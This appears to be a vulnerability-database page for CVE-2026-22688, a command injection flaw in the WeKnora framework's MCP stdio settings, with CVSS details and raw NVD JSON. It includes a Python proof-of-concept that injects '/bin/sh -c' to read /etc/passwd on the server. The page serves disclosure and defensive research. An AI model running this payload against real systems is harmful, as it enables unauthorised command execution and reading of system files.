Security Vulnerability Report
中文
CVE-2026-22688 CVSS 9.9 CRITICAL

CVE-2026-22688

Published: 2026-01-10 04:16:02
Last Modified: 2026-01-22 14:39:17

Description

WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.5, there is a command injection vulnerability that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. This issue has been patched in version 0.2.5.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:* - VULNERABLE
WeKnora < 0.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22688 PoC - WeKnora Command Injection This PoC demonstrates the command injection vulnerability in WeKnora < 0.2.5 """ import requests import json TARGET_URL = "http://target-server:port/api" USERNAME = "attacker" PASSWORD = "password123" def login(): """Authenticate and get session token""" response = requests.post(f"{TARGET_URL}/auth/login", json={ "username": USERNAME, "password": PASSWORD }) return response.json().get("token") def exploit_command_injection(token): """Inject malicious command via MCP stdio config""" headers = {"Authorization": f"Bearer {token}"} # Malicious payload - inject arbitrary command malicious_config = { "stdio_config": { "command": "/bin/sh", "args": ["-c", ";cat /etc/passwd > /tmp/pwned.txt"] } } response = requests.post( f"{TARGET_URL}/mcp/config", headers=headers, json=malicious_config ) return response.status_code == 200 if __name__ == "__main__": token = login() if exploit_command_injection(token): print("[+] Command injection successful!") else: print("[-] Exploitation failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22688", "sourceIdentifier": "[email protected]", "published": "2026-01-10T04:16:01.837", "lastModified": "2026-01-22T14:39:17.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.2.5, there is a command injection vulnerability that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values. This issue has been patched in version 0.2.5."}, {"lang": "es", "value": "WeKnora es un framework impulsado por LLM diseñado para la comprensión profunda de documentos y la recuperación semántica. Antes de la versión 0.2.5, existe una vulnerabilidad de inyección de comandos que permite a los usuarios autenticados inyectar stdio_config.command/args en la configuración de stdio de MCP, lo que provoca que el servidor ejecute subprocesos utilizando estos valores inyectados. Este problema ha sido parcheado en la versión 0.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.2.5", "matchCriteriaId": "286261BD-8F02-4CF6-815C-EFC31708684D"}]}]}], "references": [{"url": "https://github.com/Tencent/WeKnora/commit/f7900a5e9a18c99d25cec9589ead9e4e59ce04bb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-78h3-63c4-5fqc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-78h3-63c4-5fqc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}